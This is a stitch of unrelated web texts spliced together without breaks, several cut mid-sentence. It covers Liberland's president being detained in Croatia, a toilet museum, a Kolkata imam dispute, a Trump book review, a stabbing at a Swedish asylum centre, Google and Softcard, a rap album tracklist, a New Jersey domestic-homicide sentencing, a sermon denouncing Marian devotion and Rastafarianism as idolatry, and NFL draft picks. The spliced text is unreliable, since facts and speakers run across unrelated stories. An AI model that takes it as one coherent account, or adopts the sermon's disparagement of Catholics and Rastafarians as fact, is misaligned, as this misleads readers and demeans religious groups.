Jedlicka was true to his promise, and on Saturday Croatian police arrested him. According to Czech news agency CTK, Jedlicka was confronted by Croatian cops in the village of Zmajevac several miles from Liberland. He was allowed to go on his way, only to be detained again at the border and brought to a police station in Beli Manastir. Jedlicka was kept overnight, according to CTK, and discussed Liberland’s future with a local judge.
“He could not make a decision in the case, since we did not cross any border, we were waiting for the Croatian police at the Liberland border,” Jedlicka said after his release on Sunday.
Liberland’s leader immediately sought to spin his detention as good news for the nascent republic. According to Liberland’s Facebook page:
[05/09/2015]
The president had a very beneficial meeting with eight ambassadors and with the personnel of the Ministry of Foreign Affairs in Zagreb, Croatia. The people involved in the meetings disclosed to him that Liberland has quite a chance of success if it is based on the love and freedom ideas that it purports to be. The president invited the ambassadors to a party in Liberland next weekend. In the evening, the president was detained by the Croatian police without him having crossed the border from Croatia to Liberland. [05/10/2015]
The president was released in the morning hours after a very friendly meeting with the police and a judge in the town of Beli Manastir, Croatia. The president feels that there is a great degree of support from the Croatian police and judiciary and sees the arrest as a means for starting the talks with the Croatian side about opening a border crossing between Croatia and Liberland. Liberland has also got legal representation for the negotiations in the Croatian jurisdiction.
With Croatia and Serbia both staunchly against Liberland’s claim, it’s unclear whether Jedlicka will ever get to host his diplomatic welcome party after all.
Liberland lovers across Europe and America scrambled to get English-language updates on Jedlicka’s fate over the weekend. Some feared for the future of the libertarian Shangri-la.
“Is anyone speaking Croatian or Czech willing to give a summary of what is going on in Liberland at this time?” wrote a commenter called Masterless on Liberland’s message board.
“Basically, they tried to cross the Danube with an open fishing boat and were returned to Serbian coast by the Croatian police, and Vit Jedlicka got arrested when he tried to enter the Liberland by land from Croatia,” responded a Croatian speaker.
“Ok, thanks for the news,” Masterless wrote. “I hope it’s not over.”German Michael Berger has opened a museum featuring all toilet-related accessories, from loo seats to bog roll holders, where one of the many stand-out lavatory accessories is a urinal with
Adolf Hitler’s face inside it.
Piss on him: The Hitler urinal at the toilet museum in Harlekin (Picture: CEN)
You might think he’s a bit potty, or pulling your chain, but no – Mr Berger has opened a museum dedicated to the toilet.
The 69-year-old’s pan-tastic collection includes a collection of toilet roll holders, ranging from a paint roller to Mona Lisa.There are also various loo seats, some with German writing on them, others with dangly bits hanging off the ring, and funky toilet brushes with facial expressions and decorations on them.The set of oddities also includes a urinal with Adolf Hitler’s face in the basin. It was designed after World War II out of disapproval and protest of the Nazi regime and a Virgin Mary toilet brush holder.Mr Berger must’ve been feeling flush when he opened the Harlekin Toilet Museum of Modern A*** in Wiesbaden this week.He explained: ‘This is my present to humanity. I am mad, but I love loos.’Other artefacts at the museum range from miniature toilet statues and toilet roll holders in the shape of a dog, a brick and a hat.A hoarding has been put up near Tipu Sultan Mosque and over 100 shopkeepers close the shutters of their shops in and around the mosque for 24 hours on February 15 in Kolkata.
The Muslim shopkeepers were protesting against Shahi Imam of Tipu Sultan Mosque Maulana Nurur Rehman Barkati’s perpetual habit of making political comments and issuing fatwas.
Just to be in news, Barkati is infamous in the community for his inflammatory comments, within the mosque.
Anwar Ali, the mutawalli of the Tipu Sultan Masjid, said that Barkati should understand that he is only a religious leader, whose job is merely to lead the namaz, and he can’t make comments on behalf of the community.
Ali said Barkati called a press conference to show his stand for a certain political party in Uttar Pradesh, but after objection his sons got violent.
Standing united against him, the community has said he is not entitled to give make any statements on behalf of the community and should not use mosque for political purpose.
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A member of the Shopkeeper’s Welfare Association of the Tipu Sultan Mosque said, “Whatever he has to say he can say but not as the Imam of this mosque. His opinion is never ours.”
Following Centre’s demonetisation move, he had issued a fatwa, offering a reward of Rs 25 lakh to anyone who will “cut off PM Narendra Modi’s beard, shave his head and |
the incentives to invest and build — particularly in secondary locations, where no building will occur unless there are incentives.” That is, while Mr. Trump is running on a platform of tax simplification today, he was against it 30 years ago.
Parts of the book presage Mr. Trump’s recent rants about “stupid” politicians. Mayor Ed Koch, he wrote, “has achieved something quite miraculous. He’s presided over an administration that is both pervasively corrupt and totally incompetent.” One chapter is devoted to an almost gleeful description of how the construction of an ice rink in Central Park was botched — they tried to build it on a slope, can you believe that? — and then Mr. Trump took over and got done in six months what the city had failed to do inside six years.
But these are not so much arguments against government as against stupidity. Cost overruns on the Javits Center could have been avoided, Mr. Trump wrote, if the city had awarded the construction contract to him as he had suggested. Not surprisingly, this year, he has talked about the need for infrastructure spending with the zeal of many Democrats — while insisting he can deliver needed upgrades much more cheaply than the government would.
Twenty-nine years is a long time, and “The Art of the Deal,” which he wrote with Tony Schwartz, who is now a contributor to The New York Times, will not necessarily be Mr. Trump’s blueprint for governing. But in his campaign speeches, Mr. Trump has often echoed the meddlesome approach to business he learned from New York City officials. As president, Mr. Trump likes to say, he’d call up the chief of Ford with a threat: Move your factories back from Mexico or I’ll slap a huge tax on your imports.
This is antithetical to the conservative approach that says markets, not the government, should determine the allocation of business capital. But it is fully in line with the ideas in “The Art of the Deal.”The mother of a Swedish refugee centre worker allegedly killed by an asylum seeker at the shelter has spoken of her grief as her family blamed Swedish politicians for her death.
Chiméne Mezher described her daughter as her "angel" on Tuesday, hours after a teenage asylum seeker was charged with murder. Alexandra Mezher had been stabbed to death on Monday morning.
The young man who has not been named was taken into custody after the 22-year-old died. Swedish news agency TT said he was 15 years old.
The boy, whose country of origin was not disclosed, was interviewed, along with seven witnesses to the crime, hours after the attack.
The mother described her "fair" daughter, adding: "She was my air, she was my everything, why her?
"She was not just my daughter, she was my angel. She was a just and fair human being. There were so many who loved her. She was my daughter, my friend.. my mate," Mrs Mezher told GoteborgsPosten.
It was reported the social worker was of Lebanese Christian origin and lived 40 miles from Molndal. MailOnline reported that Ms Mezher's father moved to Sweden from Beirut in 1989, with her mother following three years later.
Ms Mezher was stabbed at the centre for refugee children aged between 14 and 17 who are without any adult guardians in Molndal near Gothenburg on Sweden's west coast.
The refugee centre employee later died of her injuries after she was taken to Sahlgrenska Hospital. The motive was not immediately clear.
The attack took place at a home for 11 unaccompanied refugee youth run by a company called Living Nordic in a converted hotel in Molndal, a suburb of Gothenburg.
Police said on Tuesday that two of the 11 residents at the home had managed to overpower the youth by the time police arrived.
"It says in the police report on the event that two guys held him down. That's an extremely good intervention," police spokesman Peter Adlersson told Expressen newspaper. "If he had been planning to injure more people, they prevented it. It's very easy to get wounded oneself if one intervenes in this way. We are extremely grateful for those who did this."
"It is obvious that the migrant situation is a great strain. It has become clear that the situation is completely unsustainable." Police union director Lena Nitz
A cousin described her as an "angel", adding: "It is so terrible. She was a person who wanted to do good, who wanted to be good.
"And then he murdered her when she was doing her job. We have cried a lot. She was such a nice person, warm and happy. It is the Swedish politicians' fault that she is dead."
Lejla Filipovic, 22, one of Ms Mezher's closest friends, told the Telegraph how much Ms Mezher loved her work.
"She was so goodhearted, she wanted to do so much in life," "She loved working with the kids, she wanted to do something good."
Ms Filipovic said that she had sometimes worried that her friend might be putting herself at risk by working with potentially traumatised refugee youth.
"I know that some of the kids aren't in a good place right now, because they came without their parents, so sometimes I was worried, but I knew that she had good coworkers."
She said that extended family from Lebanon and Israel were planning to fly to the family home in Boras, outside Gothenburg, for the funeral.
"She didn't talk so much about the work. She just said that there was a lot of work to do, never about the kids."
Police spokesman Thomas Fuxborg warned of the increase in similar incidents on Monday as the Swedish prime minister spoke of "a great worry" among people in the country.
“It was messy, of course: a crime scene with a lot of blood. The perpetrator had been overpowered by other residents," he said.
"These kinds of calls are becoming more and more common. We're dealing with more incidents like these since the arrival of so many more refugees from abroad," added Mr Fuxborg as Sweden struggles with a record influx of migrants and asylum seekers.
According to the Swedish Migration Agency, the number of threats and violent incidents at asylum facilities more than doubled from 2014 to 2015 as Sweden witnessed a record number of migrant arrivals.
In 2014, there were 148 incidents and in 2015 that number jumped to 322.
But arson attacks targeting asylum shelters have also surged, with at least two dozen centres reduced to ashes or damaged by fire last year.
Mr Lofven rushed to the asylum centre just hours after the attack, in an unusual step which underlines how much his government fears being punished by voters for its handling of last year’s refugee crisis.
“This is a tragedy. It is a terrible crime,” he said. “I think that a lot of people in Sweden feel a great worry that there might be more similar cases after Sweden took in so many unaccompanied children and youth”.
He promised Swedish police more resources to tackle the "heavier workload", dealing with border controls, security at asylum centres and the terror threat.
"The police authority have got... a heavier workload because of the refugee situation. And then you need more resources," Swedish radio quoted Mr Lofven as saying late on Monday.
Jonas Hinnfors, politics professor at Gothenburg University, said that Mr Lofven's decision to rush to Molndal showed the difficult situation the government was facing.
"By coming here, he is showing that this is something that the government and the Social Democratic party are taking seriously," he said. "This is perhaps to dilute a little bit the criticism that the establishment have tried to cover up what people claim to be the real facts about crime and immigration."
"The dilemma is of course that, by moving onto that turf, he plays into the hands of the immigration-critical parties, because he's doing things, debating things, which normally aren't on the Social Democratic agenda."
The attack came shortly after Dan Eliasson, Sweden’s national police commissioner, handed an open letter to Sweden’s government calling for 2,500 additional police officers and 1,600 extra civilian staff to make up for those taken up by policing asylum seekers and asylum centres.
“We need to be there often, there are fights and disturbances,” Mr Eliasson told Swedish Radio of the centres. “We have placed police officers at the border controls. Unrest at the asylum accommodation centres has eaten up police resources.”
Staffan Alexandersson, the social worker employed by Living Nordic to look after the home, said that the stabbing was the first event of its kind in the more than one and a half years since it opened.
“We were surprised, absolutely shocked,” he said. “Most of the people who come to our camps are very friendly. Sometimes teenagers squabble and argue, but that’s all. We’ve never had any violence against personnel.”
A police officer is seen outside a home for juvenile asylum seekers in Molndal in south western Sweden (Photo: AFP)
Also weighing on police resources are border controls introduced on Jan 4 and a higher national terrorist threat level after the Paris attacks in November.
"Many of the problems we are now facing help to prove the point that Swedish police have long been underfunded and under-staffed," police union director Lena Nitz, told TT.
"It is obvious that the migrant situation is a great strain. It has become clear that the situation is completely unsustainable."
The police request for more resources comes as greater attention is being focused on allegations of violence by young migrants across Europe, with some countries expressing doubt about their ability to integrate them into society.
"We warned about this and now it's happened," said Tobias Hellstrom, a spokesman for the anti-immigrant Sweden Democrats party in Molndal.
"You can't leave a single girl of 22 years of age to take care of these 'youths', who often seem to be much older than they claim."
"Look anywhere in Sweden, when you collect a lot of unaccompanied minors in one place, trouble seems to happen."
Mr Hellstrom claimed that Molndal had seen a sharp rise in robberies and burglaries since unaccompanied refugee youth began to be placed in the town in large numbers a few years ago.
"Since we took in more unaccompanied minors, burglaries and robberies have gone up significantly. A lot of people get robbed nowadays," hesaid.
"What's changed now is that everybody knows it's the unaccompanied minors. The media always hid that before. They always reported that there were a lot of robberies, but they never reported who committed them."
Like the rest of Europe, Sweden has been struggling with the continent's biggest migration crisis since the Second World War.
After starting the year with Europe’s most liberal immigration and asylum regime, the country’s Social Democrat-Green coalition in November moved suddenly to tighten asylum and border rules to stem flows as high as 10,000 new arrivals a week.
The U-turn was so dramatic that Åsa Romson, the green party leader and environment minister, visibly fought back tears during the announcement.
The number of new arrivals has since dropped dramatically, to just 771 over the past week.
It has also tightened its asylum rules to curb the migrant flow.TechCrunch is reporting that Google is in talks to buy Softcard (formerly ISIS), the mobile payments company started by AT&T, Verizon and T-Mobile. The report states that the price "may be under $100 million" which would be a steep loss for the carriers, which have pumped "hundreds of millions" into the company.
Softcard is an NFC payments app, like Google Wallet and Apple Pay, which allows users to buy things with their smartphones. When Softcard was founded in 2010, Google Wallet was the only mobile payment app in town. With the growing power of Android, the carriers basically created Softcard as a "No Google Club" that they hoped would prevent Google from controlling the mobile payment space. The three companies, Verizon especially, spent the next few years trying to get a Softcard app off the ground while blocking Google Wallet from their devices.
Apparently Softcard hasn't been doing very well, early this month it laid off 60 employees. On LinkedIn, the official company profile pegs it as having "201-500 employees," so that works out to 12 to 30 percent of its workforce. One of TechCrunch's sources says the company is burning through $15 million a month. If Softcard isn't getting a ton of traction and after seeing Apple Pay hit the market, the carriers might be ready to throw in the towel and liquidate their payments experiment.
Google buying the company would certainly be ironic. It would be purchasing a clone of its own products, but apparently Softcard managed to snap up some patents that would be of use to Google. Google could also shut it down and have less competition, though right now the company's primary focus is probably Apple Pay.
If the Google sale doesn't go through, the report says another option for the company would be a buyout of the joint venture by Verizon or AT&T.After years of teasing his fans with mixtapes and videos, Riff Raff is now ready to drop his debut album, Neon Icon, June 24th.
The super eccentric rapper is set to have a handful of notable artists join him on his journey. The list of features include Mac Miller, Childish Gambino, Paul Wall, Slim Thug, Mike Posner, and Amber Coffman of Dirty Projectors. On the production side of things, Riff Raff enlisted Diplo, DJ Mustard, Harry Fraud, DJA, and more. After minor setbacks, Riff Raff is ready to supply his fans with some heat.
Riff Raff's logic behind the title Neon Icon is quite simple.
"No other artist can be a NEON iCON. I mean you can wear neon. You can mimick all my moves. But it will never the be same cosmo zone as RiFF RAFF aka JODY HiGHROLLER aka The NEON iCON", says Riff Raff.
Check out the track list for Neon Icon below.
Artwork For Riff Raff's Debut Album Neon Icon
1. iNTRODUCiNG THE iCON
2. KOKAYNE
3. WETTER THAN TSUNAMi
4. JODY 3 MOONS (SKIT)
5. VERSACE PYTHON
6. LAVA GLACiERS (feat. CHiLDiSH GAMBiNO)
7. TiP TOE WiNG iN MY JAWWWDiNZ
8. MAYBE YOU LOVE ME (feat. MiKE POSNER)
9. AQUABERRY DOLPHIN (feat. MAC MiLLER)
10. THE BLOOMiNGDALES AT WiNDSHiRE PALACE (SKIT)
11. TiME
12. HOW TO BE THE MAN
13. COOL iT DOWN (feat. AMBER COFFMAN)
14. ViP PASS TO MY HEART
15. HOW TO BE THE MAN (feat. SLiM THUG & PALL WALL) [HOUSTON REMIX]CLOSE State Superior Court Judge Joseph Oxley sentences for Neptune police sergeant Philip Seidle to a 30 year prison term for the manslaughter of his former wife Tamara Wilson-Seidle THOMAS P. COSTELLO
Former Neptune Police Sergeant Philip Seidle listens to his daughter Kirsten speak in State Superior Court in Freehold, Thursday, September 29, 2016. He pled guilty to the aggravated manslaughter of his wife, Tamara Wilson-Seidle. (Photo: THOMAS P. COSTELLO)
FREEHOLD, N.J. — "He's here, he's coming to kill me, call 911,'' Tamara Wilson-Seidle told her oldest daughter in one of her last phone calls on June 16, 2015.
"Take this, b****,'' her ex-husband, former Neptune police Sgt. Philip Seidle said, as he took aim and fired 12 shots at her.
"Dad shot Mom and almost got me into a car accident,'' the couple's youngest daughter, 7-year-old Teresa Seidle, wrote in her diary that day.
Marc LeMieux, first assistant Monmouth County prosecutor, relayed those statements Thursday to Superior Court Judge Joseph W. Oxley before the judge sentenced Seidle to 30 years in prison for killing his ex-wife.
Seidle called his ex-wife incessantly that morning, wanting to know if her new boyfriend was in her house, LeMieux said.
"She hung up on him,'' the assistant prosecutor said. "He called her back and he told her he was going to kill her.''
Then, with his 7-year-old in the car, he hunted his ex-wife "like an animal in broad daylight and he killed her in front of her daughter,'' LeMieux said.
Seidle chased his ex-wife through the streets of Asbury Park and, shortly before noon at Sewell and Ridge avenues, he rammed into her car, wedging it into a parked car, LeMieux said.
Wilson-Seidle, 51, tried to get out of her car. Her ex-husband stopped her, LeMieux said.
Tamara Wilson-Seidle had divorced Philip Seidle 20 days before she was shot to death. (Photo: FILE PHOTO)
"He pushed her back in and fired seven rounds in rapid succession while saying, 'I told you so,'" LeMieux said.
He went around to the front of his ex-wife's car and fired some more shots, "to make sure she was dead,'' he said.
Then, he sent a text message to his children blaming their mother's death on her actions, LeMieux said.
Seidle, now 52, and his attorney said he wasn't behaving like himself that day; that he was distraught over visitation arrangements with his children.
"Everyone there who knew me knew that wasn't me that day,'' Seidle told the judge. "There's no way I would have taken my daughter with me to see that, that day.''
Philip Seidle, with his gun to his head, in a standoff with police on June 16, 2015 on Sewell Avenue in Asbury Park. A resident, Shenise Bellamy, took the photo from an upstairs bedroom. Lakayla Crumes' home is the tan house directly across the street. (Photo: Photo courtesy of Shenise Bellamy)
Those were the actions of "someone who's mentally ill, who snapped,'' said defense attorney Edward C. Bertucio.
"It's clear that his mental condition went from sanity to insanity,'' Bertucio said.
The killing occurred just weeks after the couple's divorce was finalized, after almost 25 years of marriage.
The judge said he understood from reading letters sent to him that Seidle was distraught over visitation arrangements with his children. But he noted that most of the couple's children, by then, wanted nothing to do with their father.
"To blame the victim in any way in this case would be a gross miscarriage of justice,'' the judge said.
The Seidle children, some addressing the judge in court and others who made statements to investigators, described a childhood growing up in a home rife with domestic violence, manipulation and infidelity.
Former Neptune Police Sergeant Philip Seidle's children are shown in State Superior Court in Freehold, Thursday, September 29, 2016, during his sentencing hearing. He pled guilty to the aggravated manslaughter of his wife, Tamara Wilson-Seidle, and was sentenced to a 30-year prison term. (Photo: THOMAS P. COSTELLO)
Bertucio said Wilson-Seidle never filed any domestic violence complaints against her husband during their marriage. LeMieux said that was because she was reliant on him to support their large family.
Kirsten Seidle, 25, the couple's oldest child, described the atmosphere in their Neptune home.
"I heard screaming and hitting behind closed doors, yet all nine of us felt so helpless," she said
She told of an incident in which she heard her mother calling out to her for help, but then she heard her father yell, “If you come down here, both of you are dead.”
LeMieux said the Seidle children regularly witnessed their father beating their mother and pushing her into the walls.
"We'd wake up and see holes in the walls,'' Philip Seidle Jr., 23, told investigators, according to LeMieux. "We would have to hang pictures over the holes to hide them.''
Christopher Seidle, 20, told investigators that on his 11th birthday, his mother had a black eye, LeMieux said. His father grabbed his mother by the wrist and told him, "Sit down, boy, you're next,'' LeMieux said.
The children reported that while their mother was battling breast cancer in 2010, their father was carrying on an affair with another woman, LeMieux said.
Seidle hung his head while his namesake broke down addressing the judge.
Philip Seidle Jr. said it was painful to lose his mother at the hands of someone he had once looked up to.
"I'm embarrassed to share his name,'' the son said. "Whenever I hear it, it is like stabbing knives into my back."
He and Kirsten Seidle asked the judge to impose a 30-year prison term, the maximum for aggravated manslaughter, which their father pleaded guilty to in March.
"There is no excuse for killing my mother,'' Philip Seidle Jr. said. "No anger can excuse what he's done.''
“The day my father killed our mother in cold blood, we lost everything.” Kirsten Seidle
Kirsten Seidle said, "The day my father killed our mother in cold blood, we lost everything.''
When it was his turn to address the judge, the defendant at first apologized to the law enforcement officers who responded to the shooting. Then he apologized to his children, five of whom — including Kirsten and Philip Jr. — were seated in the front row of the courtroom. One of his daughters wept during the proceeding.
"I want to say, 'I'm sorry,' to my children — that's the biggest thing, my kids,'' Seidle said.
"Every day, since June 16, 2015, I've prayed for you all,'' he said. "Every night, I pray to send an angel down to you all.''
He said he also prays for the ex-wife whom he killed.
"I pray for her every day, without fail,'' he said.
Seidle must serve 25 1/2 years before he can be considered for release on parole, under the state's No Early Release Act. Oxley gave Seidle credit for 471 days he has already served in jail.
At the time of her death, Wilson-Seidle's nine children then ranged in age from 7 through 24. She was a soccer coach, devout Catholic, religious instructor at Mother of Mercy Parish in Asbury Park and a five-year breast cancer survivor.
Seidle appeared in court before Oxley on March 10 and admitted firing 12 shots at his ex-wife on the same day he had planned to take his youngest daughter to the Monmouth Mall to buy her a dress for a father-daughter dance.
CLOSE Tamara Wilson-Seidle's children say a final goodbye to the mother during funeral services held in Asbury Park. STAFF VIDEO BY THOMAS P. COSTELLO
Seidle pleaded guilty to aggravated manslaughter in a plea deal that spared him from life in prison without the possibility of parole. He also pleaded guilty to child endangerment for exposing his youngest daughter to the deadly encounter.
Oxley on Thursday sentenced Seidle to a concurrent, five-year prison term for the child endangerment.
Monmouth County Prosecutor Christopher Gramiccioni said at the time of the guilty plea that he was confident his office could have secured a conviction against Seidle for murder, but he wanted to spare several of the couple’s children from the ordeal of having to testify against their father at a trial.
After the sentencing, Gramiccioni called Seidle's actions, "pure, unadulterated evil.''
After Seidle had killed his ex-wife, he said he sent a text message to his children that said, “Your mother is dead because of her actions,’’ Seidle admitted in court in March.
Seidle held police at bay for 20 minutes before he surrendered.
Neptune police Sgt. Philip Seidle is taken into custody after he shot his ex-wife to death on Ridge Avenue in Asbury Park. (Photo: Bob Bielk)
The way police handled the incident was the subject of an investigation by the Monmouth County Prosecutor’s Office that concluded in June when Gramiccioni announced that there was nothing law enforcement could have done to prevent Wilson-Seidle’s death.
Gramiccioni reported then that the police who responded to the incident were restricted by the state attorney general’s guidelines from shooting a person who was threatening suicide. Plus, there was a risk of civilians being struck by gunfire if police had shot at Seidle, Gramiccioni said.
The tragedy brought to light a long history of domestic violence in the Seidles’ Neptune household. Neptune police had documented 21 calls to the family’s home over two decades, some for reports of domestic violence.
Wilson-Seidle claimed in divorce papers that she was threatened and abused by her husband numerous times during their marriage. The abuse alleged in the divorce papers included an incident in which Seidle was said to have held a cocked gun to his wife’s head, and another time when he reportedly kicked her in the stomach while she was pregnant.
Because Wilson-Seidle never signed domestic violence complaints against her husband when police were called to their home, the marital disharmony never triggered a mandatory investigation and disarming of Seidle under attorney general guidelines, the prosecutor said. However, Neptune police went above what was required under the guidelines when, in 2012, they suspended and disarmed the sergeant because a doctor declared him unfit for duty after he tried to cancel a call for help that his wife had made to police. Eleven months later, Seidle returned to duty, and his weapon was returned to him, after he received medical clearance.
Seidle was suspended from duty a second time in 2013, for six months, but he was not disarmed then.
Follow Kathleen Hopkins, Alex N. Gecan and Katie Park on Twitter: @KHopkinsapp, @GeeksterTweets and @kathspark
Read or Share this story: http://usat.ly/2dIQuARTonight, as was made clear this morning, we are going to be looking at the subject of the idolatry of worshipping Mary. And I want to say a few things before I say a few things by way of introduction. The first thing to say is my objective and my goal is to make known to you the truth for the sake of the truth, for the sake of the God of the truth who is to be honored. The second and corollary purpose is to let you know that the worship of Mary is, in fact, an idolatry that is displeasing to God. And I say that because it’s critically important that we understand what it is that God desires and what it is he blesses and what it is that he rejects and punishes.
Now I want to break this up into several components. It’s important to begin with to understand what the Roman Catholic Church and the people in the Roman Catholic system have and do believe about Mary. And so we’re going to begin with a look at what has been written and said and established about her. Then we’re going to move from that into specific dogma where the church has actually laid down an absolute dogma regarding Mary. We’ll take a look at that. Thirdly we’ll compare that with Scripture and then finally we’ll conclude with a comparison of this to other texts of Scripture that relate to forms of idolatry, false gods, and the blasphemy of worshipping any other than the true and living God.
We’re not surprised that some people worship people. Romans 1 says that when people suppress the truth of God and reject that which can be known of God that is in them in the place of God, they create their own idols in the form of man as well as beasts and other animals. It is a little bit unusual, however, in our society to worship dead people. There is a group of Jews in New York City called the Lubavitches and they worship a dead rabbi. Perhaps even more strange is the growing worship of the former emperor of Ethiopia. He was crowned emperor on November 2, 1930. He died in 1975. For 45 years he was the emperor of Ethiopia. You would know him and history knows him as Haile Selassie number one or the first, but among his followers Haile Selassie I.
That is not his actual name, that’s a name he took and what it means is “the power of the trinity.” He took that name for himself. He also took other names for himself, King of Kings, Lord of Lords and borrowing from Revelation 5:5, the Conquering Lion of Judah, a messianic title. His precoronation name, the name that he was given at birth, an Ethiopian name, Ras Tafari Makonnen. He was raised in the Ethiopian orthodox religion. He was particularly interested in the Bible and most of all in the Old Testament. Some of you will remember him. If you’re old enough you will remember Haile Selassie. He showed up at all kinds of world events for the 45 years of his reign, including, I believe, the funeral of John F. Kennedy.
He was a remarkable man, 5-foot-3 or 5-foot-4 with lifts, and always, no matter what the occasion, bedecked with a panoply of medals – dozens of them – all over this coat. He actually claimed to be the 225th in an unbroken line of Ethiopian kings descending from a union between Solomon and the Queen of Sheba. He actually went to far as to say Psalm 87:4-6 prophesied his coronation. That all seems very bizarre to us, but you might want to know that there are well in excess of one million people who today, as I speak to you, worship him as God. They call him Jah, short for Yahwey. They call him the King of Creation, they call him the Living God, and they call him God Incarnate. Some identify him with the title The Black Messiah of the World. He is believed to be the reincarnation of Jesus Christ. The religion that subscribes to these bizarre ideas about the man is drawn from his original name. His original name, I told you, Ras Tafari. His worshippers are called Rastafarians.
Strangely this started not in Ethiopia, but in Jamaica and it started in 1930, the year of his coronation when among the very poor and disenfranchised Jamaicans, they took seriously his claim to be King of Kings and Lord of Lords, his claim to be the Conquering Lion of Judah, and they began to worship him as God. The characteristics of the religion began to develop and they are fairly well-fixed today. They believe only in the King James Version of the Bible or the Amharic version, which is in the Ethiopian language. If you’re in that religion you have a personal relationship to Ras Tafari. That’s why you are a Rastafarian; just as if you have a personal relationship to Christ you are a Christian.
They say he didn’t really die, his death was a scam, and he’s coming back to Africa on the Day of Judgment. They believe that only half the Bible has really been written. There’s another half to the Bible that was stolen from black people in Africa by white people and is to be found hidden in the Arc of the Covenant if the Arc of the Covenant can be found. And in that half of the Bible is a repository of African wisdom. They believe in physical immortality for devout believers; that is you don’t die physically. They believe that Haile Selassie – Ras Tafari – is God the Father and God the Son and his followers are the Holy Spirit. He is the head and they are the body. They believe that in a reincarnation prior to that of Jesus, he came into the world as Melchizedek. Now if you were to go to a Rastafarian service, it would involve smoking marijuana while singing, dancing, feasting, reading the Bible and listening to their most popular prophet, Bob Marley.
Bob Marley took the Rastafarian concept and developed it into a form of music called reggae. You associate reggae music with Rastafarians, and also dreadlocks, which is the idea of going back to nature by never taking care of your hair – a kind of play on the Nazarite vow. All this seems ridiculous, bizarre, ignorant, corrupt, perverse, foolish; to worship a dead Ethiopian who is now in hell. It is really no more foolish than worshipping a dead woman who is now in heaven. Equally ridiculous, equally bizarre, equally blasphemous and idolatrous, equally foolish is the worship of Mary. It is the same thing and far more deadly; far more deadly because of the massive influence of the Roman Catholic system and its deceptiveness.
There millions all over the world who worship Mary. Millions of images of her in every imaginable form are scattered throughout the world. They’re obviously not able to be counted – millions of them in every form and every location: churches, cathedrals, houses, cars, wallets. Everywhere are images, pictures, representations of Mary. Millions upon millions of people every day pray to her. They pray to her to save them. They pray to her to protect them. They pray to her to help them, to comfort them, to rescue them, to bring them to heaven, and she has never heard one of those prayers. Ever.
By any honest definition, this is idolatry. This is a severe violation of the first commandment, “To have no other gods but the true and living God.” It’s no different than pagan idolatry, which God totally condemns as an abomination. So let’s just get that clear at the beginning. Roman Catholics worship Mary as if she were God. Cathedrals elevate her above God and above Christ. We were talking this evening about a cathedral in Pisa where we have visited which depicts Mary at the pinnacle, as they almost all do, all through Europe. She’s at the top, Jesus and God are below her, and in that particular cathedral in Pisa, you have Jesus and God offering their crowns to Mary. People kiss her image. They kiss her statue. They kiss her picture. They crawl on their knees in penitential pain as some kind of preparation to come before statues of her. They pray to her regularly using the rosary. The rosary is a series of 10 prayers. There are five of the tens, making 50 prayers and there are five prayers in between. The 50 are to Mary, the five are to God. There are five Our Fathers. There are 50 Hail Marys. For every time you pray once to God the Father, you pray 10 times to Mary for five to God, 50 to Mary.
This is no different than worshipping Baal or Moloch or Caesar or Buddha or Krishna or Haile Selassie. And the whole cult of Mary worship would be an unspeakable horror to Mary if she ever knew. She never will. Now the Catholics try to wiggle around a little bit out of this by saying there are different kinds of worship. There is dulia, the worship of saints and angels, there is latria, that is the worship of God, and there is hyperdulia, which is the worship of Mary alone. This is not just dulia, which is a sort of low-level worship of saints and angels, this is hyper or upper-level dulia. Not quite latria. This is a silly, artificial kind of distinction that even Roman Catholic people can’t sort out. They worship saints. They venerate or worship angels. Far above saints and angels they worship Mary and they attempt to worship God. But if you’re worshipping those who are not God, God does not accept your worship.
It is an artificial distinction, dulia and latria, from Greek words, are synonyms. They do not distinguish worship at all. Mary is believed to hold the sovereign authority of God. Now I don’t want to assign to the Catholic Church anything that they don’t say, so I am about, at this point, to let you hear Rome speak. Now this is going to be a little bit beleaguering, but it’s very important for you to understand that this is not coming from me. These are their claims for Mary. In the celebration of the Marian year, Pope Pius XII accurately reflected the church’s view of the Virgin Mary when the Pope stood up to give this following pontifical prayer – and I quote.
“Enraptured by the splendor of your heavenly beauty and impelled by the anxieties of the world, we cast ourselves into your arms, O Immaculate Mother of Jesus and our Mother. Mary, we adore and praise the peerless richness of the sublime gifts with which God has filled you above every other mere creature from the moment of conception until the day on which, after your assumption into Heaven, He crowned you Queen of the Universe. O crystal fountain of faith, bathe our hearts with your heavenly perfume! O Conqueress of evil and death, inspire in us a deep horror of sin, which makes the soul detestable to God and a slave of hell! O well-beloved of God, hear the ardent cries which rise up from every heart in this year dedicated to you. Then tenderly, O Mary, cover our aching wound. Convert the wicked, dry the tears of the afflicted and the oppressed, comfort the poor and humble, quench hatred, sweeten harshness, safeguard the flower of purity, protect the holy Church. In your name, resounding harmoniously in heaven, may they recognize that all are brothers, and that the nations are members of one family. Receive, O sweet Mother, our humble supplications, and above all obtain for us on that day, happy with you, that we may repeat before your throne that hymn which is sung today around your altars. You are all-beautiful, O Mary! You are glory, O Mary. You are the joy, you are the honor of our people!”
Now if that is not worship, I don’t know what worship is. There is no other definition for that; none whatsoever. Rob Zins writes, “The snowball of Mary in superiority will roll down the slope of Catholic fantasy until she becomes, in their minds, immaculately conceived, sinless, assumed into heaven, and finally redemptress and co-redeemer with Jesus Christ.” And that is exactly right. In fact, Roman Catholics refer to her as Theotokos, God-bearer. They say she gave birth to God and thus is to be elevated and adored. She gave birth to God. That is a terrible misconception. She gave birth to Jesus in his humanity. She did not give birth to God |
still remains. Williams is a sure tackler — missing just five in 2016 and just 13 the past three seasons — while also providing excellent coverage numbers — ranking first in yards per coverage snap (0.09), coverage snaps per target (27.5), and coverage snaps per reception (58.9). Williams provides an excellent deep safety option that is aggressive but under control when coming forward toward the line of scrimmage. — John Kosko, @PFF_JohnKosko
53. TRADE: Houston Texans from Detroit Lions
[Trade details: Texans receive Round 2 pick (No. 53 overall), Lions receive Round 2 pick (No. 57 overall) and Round 5 pick (No. 168 overall)]
Garett Boles, OT, Utah
Only the Carolina Panthers have run the ball more than the Houston Texans over the last three seasons. With that sort of commitment to the run game, Bolles is the perfect fit to fill Houston’s need at right tackle. Bolles is one of the most physical linemen in the draft, works well in space, and ranked second among his peers with his 83.9 run-blocking grade last season. — Vinnie Ronca, @PFF_Vinnie
54. Miami Dolphins
Chidobe Awuzie, CB, Colorado
Awuzie has the ability to play outside and in the slot, as he should fit in nicely with the Dolphins’ scheme. At Colorado, he posted a PFF coverage grade above 80.0 for three straight seasons and recorded 15 passes breakups throughout that time. — Steve Slowik
55. TRADE: Denver Broncos from New York Giants
